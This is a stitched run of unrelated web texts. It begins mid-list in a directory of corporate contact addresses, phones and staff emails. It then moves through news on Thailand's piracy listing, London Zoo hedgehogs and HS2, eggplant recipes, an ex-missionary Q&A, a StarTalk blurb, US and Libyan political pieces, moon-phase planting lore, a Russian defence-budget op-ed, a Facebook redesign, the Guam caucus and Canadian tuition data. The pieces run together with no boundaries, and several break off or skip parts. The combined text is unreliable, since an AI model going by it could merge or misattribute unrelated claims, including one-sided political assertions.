Delray Beach, FL 33445
https://www.officedepot.com/customerservice/categorySelected.do;jsessionid=0000Y2C5JQ0JU44ELYRBTLZUMMA:uk1sst7b
One-a-Day
Bayer HealthCare LLC
36 Columbia Road
P.O. Box 1910
Morristown, NJ 07962-1910
https://www.oneaday.com/contactus.html
OneTouch (LifeScan)
Johnson & Johnson
One Johnson & Johnson Plaza
New Brunswick, NJ 08933
CustomerService@LifeScan.com
https://www.lifescan.com/company/contact/
OnStar
400 Renaissance Center
Detroit, MI 48265
1.888.4.ONSTAR (1.888.466.7827)
https://www.onstar.com/us_english/jsp/corporate/index.jsp
On the Border Mexican Grill & Cantina
Brinker International
6820 LBJ Freeway
Dallas, TX 75240
https://www.ontheborder.com/contact/contact.asp
Orbitz
500 W. Madison
Chicago, Illinois 60661
U.S.A.
https://corp.orbitz.com/contact/
Hefty Bags
Pactiv Corporation
1900 W. Field Court
Lake Forest, IL 60045.
1-888-828-2850 or 847-482-2000.
https://www.pactiv.com/Contact/contact.aspx
Pep Boys (Corporate Office)
3111 W. Allegheny Ave.
Philadelphia, Pa., 19132
Peter Robinson – Director of Corporate Communications
mediarelations@pepboys.com
Ray Arthur – Chief Financial Officer
investorrelations@pepboys.com
Tweets by pepboysauto
https://www.pepboys.com/about_pep_boys/contact_us/
Pfizer Inc.
Chairman and CEO: Jeffrey B. (Jeff) Kindler
Chairman Emeritus: William C. Steere Jr.
Chairman Emeritus: M. Anthony Burns
235 E. 42nd St.
New York, NY 10017-5755
NY Tel. 212-573-2323
https://www.pfizer.com/contact/mail_general.jsp
Pfizer – NFA Nat’l Fibromyalgia Association
1-866-99fibro
https://www.fibrohope.org
Plavix
sanofi-aventis
55 Corporate Drive
Bridgewater, NJ 08807
Tel:800-981-2491
https://www.plavix.com
Priceline.com
800 Connecticut Ave.
Norwalk CT 06854
https://www.priceline.com
The Procter & Gamble Company
Chairman: Alan G. (A.G.) Lafley
President, CEO, and Director: Robert A. (Bob) McDonald
CFO: Jon R. Moeller
1 Procter & Gamble Plaza
Cincinnati, OH 45202
OH Tel. 513-983-1100
Fax 513-983-9369
https://pg.custhelp.com/cgi-bin/pg.cfg/php/enduser/ask.php
Progressive Insurance
6300 Wilson Mills Road
Mayfield Village, Ohio 44143
https://www.progressive.com/contact/contactus.asp
ProtectMyID.com *
PO Box 19729
Irvine, CA 92623-9729
Support@ProtectMyID.com
https://www.protectmyid.com/contact/
Prudential Real Estate
751 Broad St.
Newark NJ 07102
1-800-FINDPRU (1-800-346-3778)
https://www.prudential.com/contactus
Radio Shack
Riverfront Campus
Mail Stop #CF7-130
300 RadioShack Circle
Fort Worth, TX 76102-1964
Phone: (817) 415-3300
Fax: (817) 415-2585
media.relations@RadioShack.com
https://www.radioshackcorporation.com/contacts/index.html
Rapid Bath
JARDEN CORPORATION
555 Theodore Fremd Avenue, Suite B-302
Rye, NY 10580
https://secure.rapidbathing.com/ContactUs.aspx
Red Lobster (Corporate Address)
5900 Lake Ellenor Drive
Orlando, FL 32809
https://www.redlobster.com/contact_us/Default.asp?
Remax
5075 S. Syracuse Street
Denver, CO 80237
fax: 303 796 3822
https://www.remax.com
Rosetta Stone *
135 W. Market St.
Harrisonburg, VA 22801
1.800.ROSETTA
https://www.rosettastone.com/global/contact
Media Relations:
rbrennan@rosettastone.com
mrichter@rosettastone.com
https://pr.rosettastone.com/phoenix.zhtml?c=228009&p=irol-inforeq
Sargento (Corporate Offices & Manufacturing)
One Persnickety Place
Plymouth, WI 53073
FAX (920) 893-8399
https://www.sargento.com/contact/
Scrubbing Bubbles Shower Cleaner
SC Johnson
1525 Howe Street
Racine, Wisconsin 53403-5011
https://www.scjbrands.com/contact/
Servpro Industries, Inc.
801 Industrial Boulevard
Gallatin, TN 37066
Phone: (615) 451-0200
Fax: (615) 451-0291
https://www.servpro.com/corporate/contact.htm
Skip Gambert and Associates
Custom Shirtmakers
12 Garden St.
Newark, NJ 07105
customerservice@skipgambert.com
SpendOnLife.com *
8144 Walnut Hill Lane, Suite 510
Dallas, TX 75231
https://www.spendonlife.com/contact
Spiriva
Boehringer Ingelheim Pharmaceuticals, Inc.
900 Ridgebury Rd,
P.O. Box 368
Ridgefield, CT 06877-0368
Phone: 1-800-243-0127
https://www.bi-druginforequest.com/contactUsWeb/Controller.jpf?companyID=16&type=2
Splenda
c/o Johnson & Johnson
One Johnson & Johnson Plaza
New Brunswick, NJ 08933
https://splenda.com/vcrc/email/emailform.jhtml
Sprint *
KSOPHT0101-Z4300
6391 Sprint Parkway
Overland Park KS 66251-4300
https://search.sprint.com/inquiraapp/contact.jsp
State Farm Insurance
One State Farm Plaza
Bloomington, IL 61710-0001
https://online.statefarm.com/apps/contactSF/pages/commentsSuggestions.asp
Subaru
Subaru Plaza
P.O. Box 6000
Cherry Hill, NJ 08034-6000
Attn: Customer/Dealer Services
1-800-SUBARU3 (1-800-782-2783)
https://www.subaru.com/shopping-tools/contact-us.html
Super 8 Motels (Wyndham property)
Sandra Kelder
Senior Vice President, Corporate Communications
Wyndham Worldwide
22 Sylvan Way
Parsippany, NJ 07054
Sandra.Kelder@wyndhamworldwide.com
https://www.super8.com/Super8/control/corp_rate_form
Superior Gold Group
100 Wilshire Blvd, Ste 950
Santa Monica, CA 90401
Larrin Devereaux, General Manager
info@gold101.com
https://www.gold101.com/contact_us/
Target
1000 Nicollet Mall
Mineapolis, MN 55403
https://www.targetcorp.com/targetcorp_group/contactus/contact_general.jhtml
Terminix
860 Ridge Lake Blvd.
Memphis TN 38120
Phone: 901-766-1111
Clint Briscoe
Phone: 901-260-4227
cbriscoe@archermalmo.com
ThermaCare
Wyeth Consumer Healthcare
PO Box 26609
Richmond, VA 23261-6609
Time Warner Cable Inc.
290 Harbor Dr.
Stamford, CT 06902-7441
Fax: 203-328-0690
Totino’s Pizza Rolls (Pillsbury / General Mills)
General Mills, Inc.
P.O. Box 9452
Minneapolis, MN 55440
Fax: 1-763-764-8330
https://consumercontacts.generalmills.com/ConsolidatedContact.aspx?page=https://www.pillsbury.com
Toyota
19001 South Western Ave. Dept. WC11
Torrance, CA 90501
Phone: 800-331-4331
Fax: 310-468-7814
https://toyota.custhelp.com/cgi-bin/toyota.cfg/php/enduser/ask_intercept.php
Travelocity
3150 Sabre Dr.
Southlake, TX 76092
travelocity@travelocity.com
Tyson Foods
P.O. Box 2020
Springdale, AR 72764-6999
2200 Don Tyson Parkway
Springdale, AR 72762
https://www.tyson.com/Corporate/Contact.aspx
UBS Financial Services Inc.
PO Box 766
Union City, NJ 07087
comments@ubs.com
https://financialservicesinc.ubs.com/wealth/ContactUs.html
United Healthcare Insurance Company
(National Media Contact)
Daryl Richard
Ph. (860) 702-5795
daryl_richard@uhc.com
United Parcel Service of America, Inc. – UPS
UPS Corporate Headquarters
55 Glenlake Parkway, NE
Atlanta , GA 30328
https://www.ups.com/upsemail/input?loc=en_US&reqID=SUP
United States Postal Service – USPS (Marketing & Development)
Tom Kempt
P.O. Box 30423
Raleigh, NC 27622
888-367-8777 (888 FOR USPS)
Fax 888-304-0813
kempt@hq.usps.org
Vehix.com
1165 East Wilmington Ave. Suite 200
Salt Lake City, Utah 84106
1.866.MY.VEHIX (1.866.698.3449)
feedback@vehix.com
https://www.vehix.com//corporate/contactUs/
Wachovia Finance
800-WACHOVIA (800-922-4684)
https://www.wachovia.com/contact/form
Wall Street Journal
200 Liberty St.
New York, NY 10281
Phone: 212-416-2000
Wal-Mart Stores, Inc.
Chairman: S. Robson (Rob) Walton
President, CEO, and Director: Michael T. (Mike) Duke
EVP and COO: William S. (Bill) Simon
702 SW 8th St.
Bentonville, AR 72716
AR Tel. 479-273-4000
Fax 479-277-1830
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The International Intellectual Property Alliance (IIPA), an alliance of industry groups pushing for tougher laws on piracy and counterfeits, said it believes the Yingluck Shinawatra government may be about to reverse years of abuse of intellectual property (IP) laws.
The group voted to "recommend that Thailand be moved to the Watch List" in the 2013 report of international IP violators by the US Trade Representative (USTR) in April.
The IIPA announcement was made Monday in a press release.
Although the USTR has full power over its Special 301 Report issued each year, it would be highly unusual to ignore the recommendations of the most influential industry group.
If the US government accepts the IIPA recommendation, it could result in a political victory for the Yingluck government. Thailand has been included on the "special watch list" of the annual report since 2007. The IIPA recommendation, if reflected in the USTR report, would upgrade Thailand from "worst violators" of IP law.
The IIPA is an umbrella group representing US industries including software, movies, TV networks, music and books. It claims to be "strengthening international protection and enforcement of copyright by working with US government, foreign government and private sector representatives," but in fact is a strong lobby which has constantly recommended ever-tougher laws to oppose IP violations, in the US but especially overseas.
Its website claims the group works to "open up foreign markets closed by piracy and other market access barriers". Its members give tens of millions of dollars in donations to US politicians and political parties.
In 2007, Thailand was put on the annual blacklist known as the "Priority Watch List" of the USTR - 13 countries judged by the United States as the worst in the world at violating US IP laws and requests.
Thailand was initially placed on the list for taking the legal step of compulsory licensing - removing several anti-Aids and anti-cancer drugs from patent protection in order to make cheaper versions.
The 15-page IIPA report issued Monday (Thailand time) makes no mention of that. Instead, it stresses copyright violations such as pirated software, movies and music.
The Commerce Ministry and its Department of Intellectual Property have been trying to convince the US to move Thailand from the priority watch list, but without obvious results. The USTR report, with Thailand almost certain to remain on the list of worst violators, will be issued in Washington about April 30.
The harshest language against Thailand by the IIPA is reserved for the government and parliament for their "inability to put into place needed legal norms to address these problems".
It dismisses a recent decree which bans "camcording" in cinemas and demands a whole new section of the Copyright Law to ban the practice, including prison sentences for cinema employees and seizure of equipment. But it praised a government promise to pass a law against cam-cording in the near future.
The IIPA also lays down other tough demands for Thailand to reverse the industry's group recommendation to keep Thailand high on the list of the world's violators.
These include making landlords responsible if shops and kiosks sell pirated goods, a full audit and replacement of pirated software in all government offices, and declaring copyright piracy as "organised crime" such as drug trafficking.
"IIPA's previous reports document in detail various piracy issues in Thailand and the harm caused to the US content industries," the group warned.
The last hedgehog population in central London is under threat after proposals to use one of their habitats as a lorry park, experts claim.
Plans to use London Zoo’s car park to regulate the flow of HGVs into the main construction site for HS2 at Euston have come under fire from campaigners.
The Zoological Society of London will make a final attempt to force the high-speed rail firm to seek an alternative location for the site at a House of Lords Select Committee next week.
The car park’s shrubbery and nearby Regent’s Park are home to what is thought to be the last hedgehog population in central London.
But experts fear the use of the lorry park and construction trucks for up to 20 years could have a big impact on the key habitat for the species.
Hedgehogs live in the car park at London Zoo (Picture: Getty)
David Field, Zoological Director of ZSL, said: ‘It may seem strange that we’re seeking protection for a car park, but this is an example of the increasingly desperate reality for urban wildlife.
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‘Forced by human pressures to find sanctuary in the unlikeliest of places, it is our duty to protect the remaining refuges of these creatures.
‘While HS2 have admitted that their proposed use of the car park as a lorry-holding site will pose a risk to the hedgehogs, they have not accepted our advice that no mitigation measures will be enough to protect them from that risk.
‘With hedgehog surveys still in their infant stages, we’ve only just begun to learn more about these creatures living in the Park, and we need more surveys, more information and more time to understand how we can best protect them.
‘We can’t do this if the car park becomes a 24/7 hub for construction.’
An HS2 spokesman said: ‘As part of our preparation for the start of construction, we need to identify potential lorry holding sites to help manage the flow of HGVs into the Euston site and minimise disruption on local roads.
‘The London Zoo car park is our preferred option. We will continue to work with Camden Council, TfL and our future contractors on our traffic management measures.
‘The protection of all wildlife, including hedgehogs, will be a key consideration in the design of the holding area and for any replacement parking that may be required.’
MORE: Doctor Strange is releasing in the UK even earlier than expected
MORE: Calvin Harris admits he regrets his Twitter digs at Taylor Swift
(Deb Lindsey /For The Washington Post)
Need a new way to prepare eggplant? Try one of these Recipe Finder dishes that call for roasting or frying or steaming:
[Summer grilling ideas — no meat required]
Eggplant Steaks With Salsa Verde, pictured above. A garlicky oil is absorbed into the eggplant flesh in the oven, adding a boost of extra flavor.
(Deb Lindsey/For The Washington Post)
Cool Steamed Eggplant With a Garlicky Dressing (Liang Ban Qie Zi). Steaming eggplant is a good way to ensure a tender texture; here, the vegetable is dressed with soy sauce, black vinegar, garlic and ginger.
(Deb Lindsey/For The Washington Post)
Dorie Greenspan’s Roasted Ginger-Eggplant Tartines. Great as a light lunch or an appetizer.
(Deb Lindsey/For The Washington Post)
Lebanese Vegan Moussaka. Fit for a crowd.
(Deb Lindsey/For The Washington Post)
Sumac-Spiced Eggplant ‘Schnitzel.’ Ground sumac adds a touch of lemony tartness.
(Deb Lindsey/For The Washington Post)
Seasonal Caponata. Serve it as a side, a salad or a relish. Leftovers keep well; try them folded into eggs or stuffed in a sandwich.
(Scott Suchman/For The Washington Post)
By John Lombard
What are some of the things you regret, if any, about staying a member of the clergy after you no longer believed? I was a missionary in China, building underground churches and converting Christians. When I decided I definitely no longer believed, I quit, so that part of the question isn’t relevant. But I had questions and doubts for years before that. I had real doubts about what I was teaching, but I kept teaching it. For me, the biggest regret is that the Chinese I converted were truly risking their jobs, their reputations, and their freedom, because being involved in underground churches was entirely illegal. I had to convince them that the risk of temporal punishment for their faith was worth the eternal reward in Heaven. Today, I deeply regret putting those people in that position.
2. What are some of the things you learned about yourself, your family, your congregation (or religious community) or society from your new perspective as a non-believing clergy? Oh, geez, I could write a whole book on just that topic. I think the biggest thing I learned was how much our ‘reality’ is defined by either what others have told us, or what we want to believe. The biggest struggle for me in rejecting my faith wasn’t the evidence; it was the emotional aspect of abandoning a belief system that offered me comfort and community. And that the vast majority of people, even if faced with incontrovertible evidence, will make their decision based on emotion, rather than the actual evidence.
3. What are some of the things you learned once you left the clergy? I’ve learned tons of things. I’ve gone from being a Christian missionary and a teacher, to being an entrepreneur with multiple businesses. I discovered an incredible richness and depth to life that simply wasn’t there when I was a Christian. As a Christian, everything I did was ultimately focused on my life-after-death — how I should live my life to ensure I get into Heaven; what I should do to ensure that others get into Heaven, etc. Today, my life is much more immediate and real. Knowing that the day I die, my existence ends, lends a much greater urgency, importance, and value to my life.
4. What advantages, to yourself or to society, have you seen in getting out of the clergy. I’ve been able to do so much more good for the world as an atheist than I ever did as a Christian. As I said above, my focus as a Christian was on the afterlife, and the major ‘contribution’ of my life as an evangelist and missionary was to convert people to Christianity, and save their souls. Immediate concerns were not so important. After all, what’s a temporary life of suffering compared to an eternity of joy in Heaven? But as an atheist, my focus is on helping others here and now, in practical real-life ways. I’ve set up a non-profit organization for a Chinese ethnic minority group, and I’ve helped literally thousands of people to understand their cultural differences, to improve relationships, communication, etc. One year of my life as an atheist has more of an impact on the world and the people around me than 26 years as a Christian ever had.
Didn’t happen. When I didn’t believe, I stopped preaching. And even when doubting, I’d only give sermons on those issues that I still felt fairly sure of.
6. Were there times while speaking to someone it was hard not to just blurt out what you wanted to say? Nope. In fact, I was quite open in sharing my doubts, and how my beliefs as a Christians were evolving, until the day I no longer believed at all.
7. Who was the first person you told you no longer believed, and how did conversation go? The first person I told was an atheist. That was easiest to do. I didn’t tell my parents for about eight more years. And for the Chinese Christians I was working with, telling them was the most difficult thing I’ve ever done: “Hey, you know that stuff that I’ve been telling you to risk your freedom for? Turns out it’s all nonsense, I was completely wrong, and you’ve been risking your jobs and your freedom for nothing.”
8. How have you been treated by people in your former congregation or community? There was, understandably, anger and a feeling of betrayal from the Chinese Christians I had been working with. In fact, all communication with them essentially ended once I rejected my faith. Not just because of them, but also because of me, and the shame I felt to talk with them. My Christian community back home was a much easier issue, since I was halfway around the world, so whatever anger/betrayal/condemnation some of them felt towards me was at quite a distance, and didn’t affect me that much. I lost probably 95% of my Christian friends and networks. Probably 60% of those were people who outright cut off all contact with me. The other 40% were people who didn’t condemn me or ‘cast me out’, but we simply drifted apart as we no longer shared our religious beliefs as a common bond. The few Christian who are still friends today are all people from more liberal backgrounds, who don’t consider religion to be a defining aspect of their lives.
Bio: John Lombard is a Humanist and ex-missionary who grew up in Ontario and has been living and working in China for more than 20 years. He currently works as a cross-cultural consultant to help foreign companies seeking to do business in China. He is launching an exciting new business, ‘The Language of Culture“, to teach Cultural Intelligence, at languageofculture.net.
About This Episode
What can we learn about time travel or the multiverse from Stewie and Brian on Family Guy? Find out when Neil deGrasse Tyson interviews his friend (and fellow COSMOS: A SpaceTime Odyssey Executive Producer) Seth MacFarlane. You’ll discover what drew Seth to science as a kid in the first place. Neil and Seth reminisce about how they met, and how Neil became the science consultant on the episode where Stewie goes back to the Big Bang. Seth explains how he was able to do three parody episodes of Star Wars, and got the entire cast of Star Trek: The Next Generation to be in an episode. In studio, the two Chucks – co-host Chuck Nice and frequent guest astrophysicist Charles Liu – discuss the cartoon laws of physics, the history and technology of animation, political correctness, scientific literacy and aliens. You’ll also hear the story behind COSMOS for Rednecks, along with Seth’s hilarious Carl Sagan impression. Speaking of animation, Simon Singh, author of The Simpsons and Their Mathematical Secrets, calls in to discuss the pervasive use of advanced mathematics in the longest running American animated program and sitcom of all time. Plus, Bill Nye visits Forbidden Planet, a NYC comic book shop, and dons his very own super hero cape.
NOTE: All-Access subscribers can listen to this entire episode commercial-free here: The Science of Family Guy with Seth MacFarlane.
In This Episode
“Lou Barletta is running for the Senate — he’s going to win. You’re going to win big, Lou,” said Trump.
The same night as the tax reform rally, Trump gave an interview to Fox News’ Sean Hannity, during which Trump declared, “We need more Republican Senators” to move the America First agenda forward.
“You have a good one running, Lou!,” said Trump. “Lou Barletta, great guy. He was an incredible Congressman. And I think you are going to have a tremendous surge for Lou Barletta. I think he is going to do a fantastic job.”
Barletta announced his bid for the Senate seat in August. He is running in the 2018 election cycle to replace Democrat Senator Bob Casey in the Senate for the state of Pennsylvania.
Congressman Barletta was an early supporter of Trump and the then candidate’s strong stance on illegal immigration. He previously served as mayor of Hazelton, Pennsylvania, during which time he himself took decisive action against illegal immigration. As mayor Barletta pursued action against businesses that hired illegal workers and landlords who rented to illegal aliens. The Washington Post reported that in July of 2006 Barletta and the city council passed the Illegal Immigration Relief Act.
“He caught my attention immediately when he highlighted illegal immigration and the open Southern border,” said Barletta upon his endorsement of Trump according to the Washington Post. Barletta was impressed that Trump didn’t back down and was reminded of his experiences as Hazelton’s mayor. He recalled at the time being “called names, a racist and a bigot.”
“I fought my case all the way to the Supreme Court. Donald Trump will fight his case all the way to the White House,” Barletta said of the endorsement at the time, predicting Trump’s win that ultimately came to fruition.
He also implicates the Obama administration in supporting terrorist militias -- including Libyan al-Qaeda leader Abdelhakim Belhadj and Muslim Brotherhood militias allied to al-Qaeda.
Rather than backing the LNA and the elected Tobruk-based Libyan House of Representatives (HoR) in the fight against these terror groups, the Obama administration -- along with the United Nations and the European Union -- have been trying to impose a "Government of National Accord" (GNA) that has zero constituency in Libya. Further, it is accused of working with terror-linked militias in Tripoli.
With the continuing crisis between several Arab nations -- including the Libyan HoR and Qatar -- Col. al-Mesmari discusses Qatar's role in arming and financing terrorist militias in Libya. He also connects the Muslim Brotherhood militias that have been fighting against the LNA with al-Qaeda and ISIS elements operating in the country.
Col. al-Mesmari also claims that the February 17th Martyrs Brigade -- hired by Hillary Clinton's State Department to protect the U.S. consulate in Benghazi -- cooperated with Ansar al-Sharia in attacking the consulate compound on September 12, 2012.
That attack led to the deaths of four Americans, including U.S. Ambassador Christopher Stevens.
Libyans celebrated last week when, after three years of battle, the LNA finally liberated Benghazi from all terrorist groups in the city:
Libya's eastern commander declares victory in battle for Benghazi https://t.co/W2tEI5Ydhg — Reuters Top News (@Reuters) July 5, 2017
And over the past month, Col. al-Mesmari has publicly charged Qatar with direct support of terrorist groups operating in Libya:
The following is an exclusive interview I conducted by email earlier today with Col. Ahmed al-Mesmari, official spokesman for the Libyan National Army:
1) It's been six years since the U.S.-led NATO intervention in Libya. Hillary Clinton was the leading voice in the Obama administration for the U.S. action. What responsibility does she and Obama bear for that decision?
According to tradition, the differences in the gravitational pull of the moon during the different phases of the moon can make conditions more favorable for different types of plants. Seeding during the new moon is thought to be best for leafy annuals, while the first quarter phase is best for fruiting annuals and the full moon phase is best for root crops. The last quarter phase is a rest period, best used for non-planting tasks such as weeding or other upkeep.
Biodynamic agriculture is a spiritual practice, valuing farming methods that promote spiritual harmony with the earth. These methods are based on traditional practices, many of which have been practiced for generations. Being trained in science I can’t help but think that it’s likely that a number of environmental conditions vary in conjunction with the phases of the moon (many of which we don’t fully understand). I also know that many traditional practices have been shown to be based on scientific principles. It’s easy to dismiss ideas with religious connotations, but that doesn’t mean they don’t work.
Figures from the Russian Federal Treasury show that the defense budget has been cut by 25.5 percent for 2017, falling from 3.8 trillion rubles to 2.8 trillion rubles. IHS Jane’s, one of the most authoritative sources on defense news, said the move represents “the largest cut to military expenditure in the country since the early 1990s.”
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Let’s put this in context before we move on: The cuts come after significant military budget increases in recent years (averaging about 19.8 percent a year since 2011) as Putin sought to revamp the Russian military and replace a massive chunk of Soviet-era hardware by 2020.
There’s also some quibbling going on over the figures used by Jane’s. Some experts believe the cut is more like 7 percent when the impact of debt repayment to defense industry firms is taken into account.
Either way, the Russian defense budget is being cut — and not insignificantly — at a time when we’re being told Moscow is a grave threat to peace-loving people everywhere. There are a number of reasons for the cuts, the most obvious being that the Russian economy has been put under pressure due to Western sanctions and reduced oil and gas prices. So no, the cuts don’t come from the goodness of Putin’s heart — but it’s clear that he doesn’t see Russia as being on course for major military conflict with the West in the immediate future.
When the cut was announced, it was met with radio silence in the West. A search for “Russian defense budget” on Google News brings up not a single mainstream source that treated this as a significant news story. It’s hard to imagine the same reaction had the news been that Russia had increased rather than decreased its defense spending. Even the most modest increase would very likely have set off a chain reaction of scare-mongering reports about the Russian bear.
The reality is, a decrease just isn’t that interesting because it doesn’t fit with the narrative that the evil Russkies are fully intent on taking over the world, one trembling and defenseless nation at a time.
Military men on both sides of the Atlantic have been using the “Russian threat” to convince governments to throw more money into defense budgets for years. In 2015, the Pentagon used the idea of war with Russia as a public rallying cry to stave off budget cuts. Instead of responding with laughter and the appropriate facts, much of the media advocated on the Pentagon’s behalf, propagating the idea that perhaps the United States really would struggle to match Russian military power in a head-to-head.
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In the case of the U.S., the hyping of the Russian threat is particularly ridiculous. Think of it this way: In his first budget proposal, President Donald Trump seeks to increase U.S. defense spending by $54 billion. That 10 percent hike in American military spending would amount to 80 percent of Russia’s entire military budget — and that’s before the recent Russian cuts are taken into account.
The U.S. spends around $600 billion yearly on its military. Russia’s spends one-tenth of that amount, roughly $60 billion. With the new cuts, Russia will go from the fourth-largest military spender in the world to the eighth-largest, falling behind India and France.
So save for the highly unlikely scenario of all-out nuclear war — in which the U.S. and Russia could flatten each other with nukes in a matter of minutes — there’s no need for Americans to worry about a military threat from the Russians.
But restrained analysis doesn't make for good headlines. The fact that Putin is actually cutting Russian defense spending doesn’t jibe well with the more conventional, and sensational, view that Moscow is hell-bent on conflict with the Western world and the destruction of all things right and good.
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This is a view that is rarely met with anything other than raised eyebrows in Russia.
Last year I went hiking in the Siberian mountains outside the city of Krasnoyarsk, more than 4,000 kilometers east of Moscow. When I asked our guide if there were ever bears spotted in that area, he nonchalantly answered that yes, there were — but not to worry, there were “only a couple of attacks every year.”
Trying to maintain some sense of composure, I asked what one should do if, hypothetically, one were to meet a bear.
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“We would stay still and quiet and then move slowly away,” he responded.
“And if that doesn’t work?” I asked.
“We could try to sing or clap to scare it away.”
“OK ...”
“But you know, sometimes when you corner the bear” -- and here he paused dramatically -- “it will attack.”
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Perhaps influenced by too many media metaphors about the Russian bear, I assumed he could be trying to make a political point for the Westerners in his company — a veiled warning that Russia will attack if it feels under threat. So I asked him.
"No!" he said. "And I can't understand why Americans think we have any interest in attacking them!" I had set him off on a rant about Western misconceptions of Russia, and I was put firmly in my place.
Moscow’s budget cuts don’t mean Putin is abandoning the ultimate goal of modernizing Russia’s military. But in the current climate of economic pressure, his targets will become less ambitious — and more cuts are expected in 2018 and 2019.
Discussions of Russian power are almost always infused with irrationality. One minute we’re all but told to prepare for World War III because the omnipotent madman in the Kremlin can’t be stopped, and the next we’re told that Russia is an insignificant regional power led by a tinpot dictator and on the brink of total economic collapse. Rarely do we get anything in between.
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What is it about Russia that makes us abandon any sense of rationality? Serious analysts have been (incorrectly) predicting the imminent collapse of Russia for decades, while others simultaneously sow fear that borders on Russophobia over its apparently unique desire and ability to do evil unto the world.
The tabs, which were previously on the top under the app bar, have now been repositioned to sit at the bottom, much the same as the Facebook app on iOS. The app bar has been slightly re-designed as well, with a new layout and icons. There are also less tabs on the bottom, with the Friends and Marketplace entries missing, although other screenshots we've received have the Friends tab, so Facebook may be testing multiple iterations.
Left: before. Right: after.
You'll notice, on the screenshots above, at the top there's a camera icon on the left, and what looks like a send icon on the right. This is a new Facebook feature which seems to be in testing. It's called Direct Share, and seems to be a way to directly send other people photos or videos. These disappear after looking at them two times, so it's similar to Snapchat. The camera itself seems to have some filters or something, as demonstrated by the icon in the lower left of the screen. These photos can also be used to make a post or add to your story.
Direct Share for Facebook, with a new camera interface built-in to the app.
Though Guam, like Puerto Rico and other U.S. territories that are not part of the 50 states, is not permitted to vote for president in the November general election, residents of the island are allowed to take part in selecting party nominees.
With a population of about 160,000, which includes an estimated 45,000 registered voters, Guam — located in the Pacific almost 6,000 miles from the west coast of the continental United States — will send 12 delegates to the Democratic National Convention in Philadelphia starting July 25. Seven of those delegates will go to the winner of the Democratic caucus on Saturday.
OPINION: Guam should choose Bernie Sanders https://t.co/ugpvzsWhAr — Lisa Gerrish (@GerrishLisa) May 5, 2016
The other five are “unpledged” delegates, better known as “superdelegates,” who are free to vote for whichever candidate they prefer at the convention. Three of those superdelegates, including the lone Guam representative in the U.S. congress, have already said they will vote for Hillary Clinton.
That representative, Madeleine Bordallo, is the first woman to represent Guam in the U.S. House of Representatives, and as the widow of two-time Guam Governor Ricardo Bordallo, the island’s former first lady.
Located across the international date line in the Pacific, Guam’s local time is 14 hours ahead of the United States East Coast. Polls close there at 8 p.m. Saturday, May 7, which would be 6 a.m. Eastern Standard Standard Time, 3 a.m. Pacific.
But night-owl political junkies and early risers in the 48 contiguous states can listen to a live stream of Guam radio news station KGUM, below.
KUAM TV, the oldest TV station in Guam, founded in 1956, offers a live stream of its daily news broadcast starting at 6 p.m. local time in Guam — 4 a.m. Eastern Time, 1 a.m. Pacific Time.
Another radio link, Isla 63, including a broadcast in the native Chamorro language of Guam, will stream live, below.
Bernie Sanders appears in good position to claim the seven pledged delegates when about 4,500 Guam voters are expected to show up at the lone polling place on the island, Agana Shopping Center in the Guam capital of Hagåtña.
The 2008 Guam caucus vote between Clinton and then-Senator Barack Obama came down to just seven votes separating the two, with Obama winning 50.1 percent to 49.9 for Hillary Clinton, who was then a senator from New York. The 2016 Guam vote could also turn out to be a close one.
“It looks like this might come down to the wire,” said Kin Perez, who chairs the Democratic Party of Guam. “Sanders’ campaign has put forth some very novel ideas that have made a lot of people excited. Young people in particular. The old guard not so much.”
But Bernie Sanders has consistently won large margins among voters under age 30, and with a population whose median age is 29.9, Guam would appear to be prime Sanders territory.
My mom is running to break down all the barriers that still stand in our way. Vote Saturday, #Guam! #GuamForHillary https://t.co/YRhLScMQta — Chelsea Clinton (@ChelseaClinton) May 5, 2016
Clinton appears to have the Democratic presidential nomination already clinched. With 1,704 pledged delegates to 1,414 for Bernie Sanders, Clinton has mathematically eliminated the Vermont senator from winning the 2,383 needed to take the nomination.
Sanders’ only hope is to persuade superdelegates who have said they would vote for Clinton to change their minds. The way he has said he would do that is to persuade them to vote the way that their states or territories voted. So winning the Guam caucus is important to Sanders’ Hail Mary strategy.
But Clinton has outspent Sanders in Guam, buying $22,000 worth of radio advertising on the island this week, to $12,000 purchased by Sanders.
MORE INQUISITR ELECTION COVERAGE:
Hilary Clinton’s daughter, Chelsea Clinton, also penned an op-ed essay for The Pacific Daily News, titled, “Why Guam Should Choose My Mom.”
For a live text-only stream of results from the Guam Democratic caucus between Hillary Clinton and Bernie Sanders, the New York Times will post results available at this link.
According to the data, which track tuition costs from 1975 to 2013, the average number of minimum-wage hours needed to pay for an undergraduate degree in 1975 was 230. That number went up nearly 2½ times to 570 by 2013.
Armine Yalnizyan, a senior economist with the Canadian Centre for Policy Alternatives, says the data provides a historical look at how post-secondary policy decisions can affect university affordability in Canada. (CBC) Professional faculties have seen the steepest increases. A dentistry student would have had to work 286 hours at a minimum-wage job in 1975 to afford the tuition fee then of $664.
In 2013, that same student had to labour for 1,711 hours to pay annual tuition costs of $17,324.
The national think-tank acquired tuition data from 1975 to 2013 and compiled a database that compares faculty costs, provincial variations and national tuition cost averages.
Armine Yalnizyan, a senior economist at the centre who led the project, said while tuition increases are nothing new, this data provides a historical look at how post-secondary policy decisions can affect university affordability in Canada.
“We say to our kids, 'Go to university if you want a good professional degree,' but that’s getting more and more difficult to do,” she said.
Paul Davidson, president of the Association of Universities and Colleges of Canada, said today's students have access to a very high-quality education.
“I get concerned when we tell a whole generation of people that you're screwed right out of the gate,” he said.
“I think Canada has an outstanding post-secondary education system.”
Number of work hours, by province
This table shows the number of minimum-wage work hours required to pay for university tuition, broken down by province.
1975 2013 Increase (%) National average 230 570 148% Nfld. 227 264 16% N.S. 308 606 97% P.E.I. 266 570 114% N.B. 293 613 109% Que. 214 266 25% Ont. 260 708 173% Man. 183 366 100% Sask. 196 639 226% Alta. 174 577 231% B.C. 175 491 180%
(Source: Canadian Centre for Policy Alternatives)
Provincial increases vary widely
Ontario requires the greatest amount of minimum-wage work to pay tuition, going from 260 hours in 1975 to 708 hours four decades later.
Saskatchewan’s tuition, measured in the number of minimum-wage hours, went up more than threefold.
Newfoundland and Labrador saw the smallest jump over the years — 16 per cent — through a combination of minimum-wage increases and lower tuition rates.
Aurora Hares, a 25-year-old science student at the University of Manitoba, says she wants to pursue a veterinary medicine degree after she graduates, but wonders how she’ll manage the costs. (CBC) That’s equivalent to about a week more at minimum wage, according to Yalnizyan. Yalnizyan.
Manitoba’s rate of tuition went up from 183 minimum-wage hours to 366 — a 100 per cent increase.
University of Manitoba student Aurora Hares, 25, told CBC News she knows how hard it is to balance finances while pursuing a university education.
